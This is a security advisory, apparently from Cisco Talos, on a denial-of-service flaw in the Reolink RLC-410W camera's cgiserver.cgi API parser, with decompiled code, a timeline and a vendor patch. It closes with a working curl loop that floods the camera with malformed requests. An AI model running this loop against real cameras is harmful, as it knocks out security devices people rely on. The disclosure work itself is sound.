Talos Vulnerability Report


Reolink RLC-410W cgiserver.cgi command parser denial of service vulnerability

January 26, 2022
CVE Number



A denial of service vulnerability exists in the cgiserver.cgi API command parser functionality of reolink RLC-410W v3.0.0.136_20121102. A specially-crafted series of HTTP requests can lead to denial of service. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

reolink RLC-410W v3.0.0.136_20121102

Product URLs

RLC-410W - https://reolink.com/us/product/rlc-410w/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H


CWE-20 - Improper Input Validation


The reolink RLC-410W is a WiFi security camera. The camera includes motion detection functionalities and various methods to save the recordings.

A specially-crafted request can lead to insertion in the incoming request list, handled by the cgiserver.cgi binary, a request that will be removed only after 20 seconds. This can lead to a denial of service.

The cgiserver.cgi manages the API requests, parsing the commands and parameters provided. One way to issue commands and parameters is by providing those in a JSON array in the body. A body with commands looks like the following:

        "cmd":    <COMMAND NAME 1>,
        "action": <ACTION NUMBER 1>,
                  <COMMAND PARAMETERS 1>
        "cmd":    <COMMAND NAME n>,
        "action": <ACTION NUMBER n>,
                  <COMMAND PARAMETERS n>

When the cgiserver.cgi receives a request, it is handled at first in the cgi_receive_thread function:

undefined4 cgi_receive_thread(c_cgiserver_obj *cgi)

  cgi_request *pcVar1;
  int iVar2;
  time_t tVar3;
  dword req_in_number;
  pthread_mutex_t *ppVar4;
  dword request_number;
  dword req_out_number;
  dword apStack64 [4];
  cgi_request *req;

  iVar2 = FCGX_Init();
  if (iVar2 == 0) {
    request_number = 0;
    ppVar4 = &cgi->in_req_mutex;
    while( true ) {
      while( true ) {
        req_in_number = (cgi->in_req_node).number_of_request;
        req_out_number = (cgi->out_req_node).number_of_request;
        if ((int)(req_in_number + req_out_number) < 0x15) break;                                        [1]

At [1] it is checked if the sum of the number of incoming requests and the outgoing requests is less than or equal to 20. If this is not the case the thread executing cgi_receive_thread will wait until the condition at [1] is true before handling another incoming request.

Each element of the JSON array goes through the body_request_to_command function. This function will parse the element, allegedly a JSON object, to identify the command requested. The body_request_to_command function:

uint8_t body_request_to_command(cgi_request *req,cgi_cmd *cgi_cmd,Value *json_element)

  cmd_json_value = (Value *)Json::Value::operator[](json_element,"cmd");                                [2]
  is_cmd_string = Json::Value::isString(cmd_json_value);
  ret_val = '\0';
  if (is_cmd_string != 0) {                                                                             [3]
    [... parse the command ...]
  return ret_val;

At [2] the "cmd" key is accessed and checked at [3] to see if the value associated with the "cmd" key is a string. If so, the parsed commands will later be processed and, if the permissions are satisfied, the requested API executed.

In case a request takes more than a certain amount of time to be completed, the remove_invalid_sessions_and_requests function, at [4] will set its state to timeout:

void remove_invalid_sessions_and_requests(c_cgiserver_obj *cgi)

  for (pcVar4 = (cgi->in_req_node).request_node_start;
      pcVar4 != (cgi_request_node *)&(cgi->in_req_node).request_node_end;
      pcVar4 = (cgi_request_node *)std::_Rb_tree_increment((_Rb_tree_node_base *)pcVar4)) {
    req = pcVar4->cgi_request;
    if ((req != (cgi_request *)0x0) &&
       (current_time_ = cgi_tick_sec_get(),
       req->delta_for_timeout <= (uint)(current_time_ - req->creation_seconds))) {
      req->req_status = timeout;                                                                        [4]
      cgi_log(0,1,"cgi req id:%d, is timeout!!!!",req->request_ID);

The default req->delta_for_timeout is 16 seconds. The request that has state timeout will be handled by replying to the sender with a reply that looks like:

        "cmd" : <REQUESTED_COMMAND>,
        "code" : 1,
        "error" : {
            "detail" : "timeout",
            "rspCode" : -8

If the check at [3] fails, the request will never complete because no commands will be associated with the request. These requests will eventually reach, after req->delta_for_timeout seconds, the timeout state. It is possible to force a request to remain in the request list for the entire req->delta_for_timeout time. If several of these requests are sent, because of the check at [1], the cgiserver.cgi will not be able to handle new incoming requests for a prolonged time, causing a denial of service.

For example, a request with the following body:

        "cmd": 1234
] Will fail the check at `[3]` with the consequences stated above.

Exploit Proof of Concept

The following command will send 80 requests that are all going to timeout. This will make the cgiserver.cgi binary unreachable for close to a minute.

for i in {1..80}
    curl -s -o /dev/null \
         --request POST  \
         --data '[null]' \
         'http://$CAMERA_IP/cgi-bin/api.cgi?cmd=Login' & 


2021-12-16 - Vendor Disclosure
2022-01-19 - Vendor Patched

2022-01-26 - Public Release


Discovered by Francesco Benvenuto of Cisco Talos.